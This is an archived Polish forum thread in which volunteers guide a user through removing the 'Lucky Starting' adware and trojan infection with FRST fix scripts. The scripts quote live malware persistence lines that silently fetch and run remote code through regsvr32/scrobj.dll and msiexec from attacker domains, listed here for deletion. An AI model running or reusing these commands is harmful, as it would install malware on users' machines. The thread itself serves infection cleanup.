Skocz do zawartości

Temat został przeniesiony do archiwum

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

gregory92m

Wirus Lucky Starting

Rekomendowane odpowiedzi

Witam.

Dopadł mnie pewien problem związany z wirusem Lucky Starting.

Bardzo prosiłbym o pomoc.

Poniżej wstawiam raport z ADW (mimo użycia programu problem nadal istnieje) :

 

http://wklejto.pl/283442

 

Logi z FRST:

 

FRST: http://www.wklejto.pl/283443

Addition: http://www.wklejto.pl/283444

Shortcut: http://www.wklejto.pl/283445

 

Z góry dziękuję za pomoc.

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

To tylko INFO:

C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

C:\Users\Public\Desktop\Google Chrome.lnk

Te skróty dam do usuwania, bo przekierowują do fałszywej przeglądarki C:\Program Files (x86)\Cupduck\Application\chrome.exe, która wygląda jak Google Chrome, ale w rzeczywistości jest Trojanem.

Potem zrobisz sobie nowe skróty w tych samych lokalizacjach.

 

Ze skrótami przekierowującymi na fałszywego "Firefoxa" będzie podobnie (zresztą prawdziwej Mozilli Firefox nie widzę na liście Twoich programów, więc jej nie masz zainstalowanej).

 

1) Spróbuj odinstalować ten program:

YAC(Yet Another Cleaner!) (HKLM-x32\...\iSafe) (Version: - ELEX DO BRASIL PARTICIPAÇÕES LTDA) <==== UWAGA

 

2)Uruchom FRST. NA klawiaturze naciśnij jednocześnie CTRL+Y.Otworzy się Notatnik - wklej do niego:

RemoveDirectory: C:\Program Files (x86)\Cupduck

RemoveDirectory: C:\Program Files (x86)\Firefox

RemoveDirectory: C:\Program Files (x86)\Elex-tech

HKU\S-1-5-21-2413042632-1216326354-388712043-1001\...\ChromeHTML: -> C:\Program Files (x86)\Cupduck\Application\chrome.exe (Google Inc.) <==== UWAGA

Task: {DF048B94-A172-40E8-B9AD-DAD68D695AC7} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkPGRvw2hpEaQ4rGYcMDQiZWYcMQ96Njk1wdN3zeN4nAh2OTVdM3z2wc== scrobj.dll

C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

C:\Users\Public\Desktop\Google Chrome.lnk

FirewallRules: [{EDBEDE33-F2DD-4712-9646-7A3F980AB62F}] => (Allow) C:\Program Files (x86)\Cupduck\Application\chrome.exe

FirewallRules: [{93344E5A-16C9-414D-9EA0-3C9CFFEA0621}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe

FirewallRules: [{DCF6EF0D-E67E-4E79-977F-AFC812EF4033}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

2017-05-25 23:07 - 2017-05-25 23:50 - 00000000 ____D C:\Users\Grzegorz\AppData\LocalLow\Mozilla

2017-05-25 23:07 - 2017-05-25 23:38 - 00001997 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk

2017-05-25 23:07 - 2017-05-25 23:38 - 00001927 _____ C:\Users\Public\Desktop\Mozilla Firefox.lnk

2017-05-25 23:07 - 2017-05-25 23:21 - 00000000 ____D C:\Windows\system32\log

2017-05-25 23:07 - 2017-05-25 23:07 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\Setleaf

2017-05-25 23:07 - 2017-05-25 23:07 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\Mozilla

2017-05-25 23:07 - 2017-05-25 23:07 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\Elex-tech

2017-05-25 23:07 - 2017-05-25 23:07 - 00000000 ____D C:\Program Files (x86)\Elex-tech

2017-05-25 23:06 - 2017-05-25 23:06 - 00000000 ____D C:\Users\Grzegorz\AppData\Local\Setleaf

2017-05-25 23:06 - 2017-05-25 23:06 - 00000000 ____D C:\Program Files (x86)\Setleaf

2017-05-25 23:05 - 2017-05-25 23:05 - 00000000 _____ C:\Windows\SysWOW64\55

2017-05-25 23:05 - 2017-05-25 23:05 - 00000000 _____ C:\Windows\SysWOW64\33

2017-05-25 23:04 - 2017-05-25 23:32 - 00034328 _____ (Sysinternals - www.sysinternals.com) C:\Windows\system32\Drivers\PROCEXP152.SYS

2017-05-25 23:04 - 2017-05-25 23:04 - 00000042 _____ C:\Windows\SysWOW64\GZ

2017-05-25 23:04 - 2017-05-25 23:04 - 00000000 _____ C:\Windows\SysWOW64\3333333

2017-05-25 23:04 - 2017-05-25 23:04 - 00000000 _____ C:\Windows\SysWOW64\1111111

2017-05-25 23:04 - 2017-05-25 23:04 - 00000000 _____ C:\Windows\SysWOW64\1111

2017-05-25 23:04 - 2017-05-25 23:04 - 00000000 _____ C:\Windows\SysWOW64\11

2017-05-25 23:04 - 2017-05-25 23:04 - 00000000 _____ C:\Windows\SysWOW64\00

2017-05-25 22:59 - 2017-05-25 23:32 - 00000000 ____D C:\Program Files (x86)\BiaoJi

2017-05-23 21:57 - 2017-05-23 21:57 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\SSMgre

2017-05-25 23:38 - 2017-05-25 23:38 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\Firefox

2017-05-25 23:38 - 2017-05-25 23:38 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\Cupduck

2017-05-25 23:38 - 2017-05-25 23:38 - 00000000 ____D C:\Users\Grzegorz\AppData\Local\Firefox

2017-05-25 23:38 - 2017-05-25 23:38 - 00000000 ____D C:\Users\Grzegorz\AppData\Local\Cupduck

2017-05-25 23:38 - 2017-05-25 23:38 - 00000000 ____D C:\Program Files (x86)\Firefox

2017-05-25 23:37 - 2017-05-25 23:37 - 00000000 ____D C:\Program Files (x86)\Cupduck

2017-05-25 23:34 - 2016-05-19 08:42 - 00052392 _____ (Elex do Brasil Participações Ltda) C:\Windows\system32\Drivers\iSafeNetFilter.sys

2017-05-25 23:33 - 2017-05-25 23:33 - 00000000 ____D C:\Program Files (x86)\59274D91_jumpeasy

R1 iSafeKrnl; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnl.sys [262344 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA

S1 iSafeKrnlKit; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlKit.sys [110112 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA

R1 iSafeKrnlMon; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [52440 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA

R1 iSafeKrnlR3; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlR3.sys [103904 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA

R1 iSafeNetFilter; C:\Windows\System32\DRIVERS\iSafeNetFilter.sys [52392 2016-05-19] (Elex do Brasil Participações Ltda) <==== UWAGA

R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [116376 2017-05-23] () <==== UWAGA

R2 WinCacheSrv; C:\ProgramData\Package Cache\{E01CB7F1-3E88-4450-1764-B3CC1E205C4A}v10.1.14393.795\Installers\30daf459e79c5d26366654b1b482e87.cab:dp [205826 ] () [brak podpisu cyfrowego] <==== UWAGA

HKU\S-1-5-21-2413042632-1216326354-388712043-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Cupduck\Application\chrome.exe (Google Inc.) <==== UWAGA

FF ProfilePath: C:\Users\Grzegorz\AppData\Roaming\Firefox\Firefox\Profiles\k7yu7co7.default [2017-05-25]

FF Extension: (Polski Language Pack) - C:\Users\Grzegorz\AppData\Roaming\Firefox\Firefox\Profiles\k7yu7co7.default\Extensions\langpack-pl@firefox.mozilla.org.xpi [2017-05-25] [brak podpisu cyfrowego]

FF SearchPlugin: C:\Users\Grzegorz\AppData\Roaming\Firefox\Firefox\Profiles\k7yu7co7.default\searchplugins\startsearch.xml [2017-05-25]

IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe

IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe

IFEO\taskmgr.exe: [Debugger]

HKU\S-1-5-21-2413042632-1216326354-388712043-1001\...\Policies\system: [shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkPGRvw2hpEaQ4rGYcMDQiZWYcMQ96Njk1wdN3zeN4nAh2OTVdM3z2wc== /q

C:\Users\Public\Desktop\Mozilla Firefox.lnk

C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk

EmptyTemp:

Na klawiaturze naciśnij jednocześnie CTRL+S. W FRST kliknij na Fix (NAPRAW).

 

3) Zrób nowe logi FRST.

 

F.

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Dzięki za pomoc i przepraszam za zwłokę.

Niestety problemy pozostały, mimo zastosowania powyższego zalecenia.

 

Fix Log

http://www.wklejto.pl/283863

 

Raport z ponownego użycia Adw

http://www.wklejto.pl/283864

 

I tu pojawia się problem z tym iSafe bo mimo teoretycznego jego usunięcia to jak uruchomię jeszcze raz skanowanie w Adw problem nie znika.

 

Frst

http://www.wklejto.pl/283865

 

Addition

 

http://www.wklejto.pl/283866

 

Shortcut

http://www.wklejto.pl/283867

 

Jesli chodzi zaś o YAC (Yet Another Cleaner!) zupełnie nie mogę go odinstalować gdyż pojawia się komunikat że to wirus.

 

Pozdrawiam .

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach
Gość

Filutki78 nie ma na forum od 29 maja, więc jeśli nie chcesz na nią czekać wykonaj poniższe zalecenia bo w nowych logach widać że nie wszystko zostało usunięte z tego co zadała Filutka78 w swoim skrypcie.

 

Uruchom FRST a następnie (poprzez skrót klawiszowy CTRL + Y) otwórz notatnik. Wklej w nim poniższą zawartość:

 

CloseProcesses:
R2 iSafeService; C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc.exe [130512 2017-05-22] (Elex do Brasil Participações Ltda)
R1 iSafeKrnl; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnl.sys [262344 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
S1 iSafeKrnlKit; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlKit.sys [110112 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeKrnlMon; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [52440 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeKrnlR3; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlR3.sys [103904 2016-05-23] (Elex do Brasil Participações Ltda) <==== UWAGA
R1 iSafeNetFilter; C:\Windows\System32\DRIVERS\iSafeNetFilter.sys [52392 2016-05-19] (Elex do Brasil Participações Ltda) <==== UWAGA
C:\Windows\system32\Drivers\iSafeNetFilter.sys
2017-05-30 19:15 - 2017-05-30 19:15 - 00000000 ____D C:\Users\Grzegorz\AppData\Roaming\Elex-tech
2017-05-25 23:07 - 2017-05-25 23:07 - 00000000 ____D C:\Program Files (x86)\Elex-tech
DeleteKey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\iSafe
DeleteKey: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iSafe
EmptyTemp:

 

Poprzez skrót klawiszowy CTRL + S zapisz zmiany w notatniku a następnie w FRST kliknij na Napraw. Na zakończenie naprawy wymagany restart systemu.

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

  • Ostatnio przeglądający   0 użytkowników

    Brak zarejestrowanych użytkowników przeglądających tę stronę.

  • Tematy

  • Odpowiedzi

    • Świetne rady, autor tematu gra w 3440x1440, więc jakim cudem warto zmieniać 4070Ti na 4070Ti Super, skoro premiera RTX 5000 jest tak nieodległa ? Zanim braknie mu 12GB VRAM w tej rozdzielczości to będzie premiera RTX 6000. Więc @andriejek69 jak masz zmieniać teraz kartę to albo coś dużo mocniejszego, albo czekaj na nowe RTXy. Chyba, że faktycznie chcesz pograć w Cyberpanka z Path Tracingiem, ale tam nawet 4070Ti Super z 16GB to będzie za mało. Zrobisz ja uważasz, ale osobiście uważam taką zmanię za kompletnie bezsensowną, bo obecna kara Ci wystarczy do tej rozdzielczości, a jak zmieniać to na 4090, żeby faktycznie poczuć różnicę, teraz dostaniesz 10% to wydajności. Jedyna opcja to sprzedaż obecnej karty za dobrą cenę i niewielka dopłata.
    • Trudne się wylosowało... Monitorów z tunerem jest jak na lekartwo a szybszych niz 60hz tym bardziej. Nie ma mowy też o oledzie ani miniledzie z tunerem chyba że chodzi o telewizor to już prędzej coś znajdziesz.  Nie podałeś specyfikacji swojego komputera to też niezbyt można powiedzieć czy poradzi sobie z monitorem 4k np. (Samsung monitor m7 i m8) mają smart tv ale tunera już nie mają... Dodatkowo są na matrycy VA co nie każdemu może przypaść do gustu. Najlepszym rozwiązaniem będzie kupno możliwie najlepszego monitora na miniledzie/oled (jeżeli nadal mówimy o budżecie 4000zł) i jakiegoś smartboxa (googletv) z tunerem i podłączenie go do monitora poprzez HDMI.
    • Witam Proszę o ocenę zestawu do grania w 1440p i ewentualne propozycje zmian, chciałabym żeby wszystko zamknęło się w 7tys. Preferuję połączenie Intel/Nvidia, najlepiej jak najmniej RGB, dyski już posiadam (2 SSD Sata). Procesor i5 14600KF Karta Gigabyte GeForce RTX 4070 Super Windforce OC 12GB Płyta główna MSI B760 Gaming Plus WIFI lub MSI MAG B760 Tomahawk WIFI (wcześniej rozważałam również Gigabyte B760 Gaming X AX) Zasilacz Seasonic Focus GX - 750W Lexar Ares RGB 32GB 6400MHz CL32 Obudowa Genesis Irid 505F Z chłodzeniem mam problem, ponieważ chciałam zakupić Deepcool'a AK620, jednak nie jest dostępny w sklepie komputronika (sklep wybrałam ze względu możliwości odbioru komputera w moim mieście). Niestety ten ma dość ograniczony wybór chłodzeń. Tak samo jak widać mocno zastanawiam się nad płytą główną, jestem otwarta na propozycje.
    • https://www.rtings.com/monitor/learn/research/vrr-flicker  
    • Ja czego nie rozumiem? No ja rozumiem jaka jest różnica pomiędzy odbiornikiem prądu a generatorem. Z tego co widzę hybrydy się zgłasza. Czy Ci się to podoba czy nie. To nie jest offgrid.  Tak samo jak magazyn energii. Mimo iż ludzie używają je wewnątrz domu, to muszą być zgłaszane.  To że chińczyk mówi, że falownik nie wysyła nadmiaru energii poza sieć nie ma żadnego znaczenia jeśli podepniesz to do sieci.  Czy na rondo nie ma liczników? Na enmasz umowy tam z energetyka? Nie da się zamontować normalnej instalacji? Co powiedział Ci dostawca prądu? Jeśli sąsiada z działki wywali choćby radio na drugi tydzień po montażu Twojego lewego PV, to spodziewaj się problemów.  Jak udowodnił aż że Twój chiński szajs jest przekozak wówczas? Będziesz miał na to jakieś papiery?  Ze specyfiki pracy jaką oczekujesz. Ta sama zasada działania Cię interesuje. Będziesz szukał paneli gruntowych? A czym różnią się takie od paneli dachowych albo balkonowych? Zestaw balkonowy to jest to co szukać powinieneś. Bo zestawów RODo nie robi a raczej?  Zacznijmy od tego, że zacząłeś od złej strony, bo zamiast falownika i budowania hybrydy, podpina się takie rzeczy prosto w panele. Pompa na prąd stały o szerokim napięciu działania pyrka sobie jak ma napięcie i tyle. 
  • Aktywni użytkownicy

×
×
  • Dodaj nową pozycję...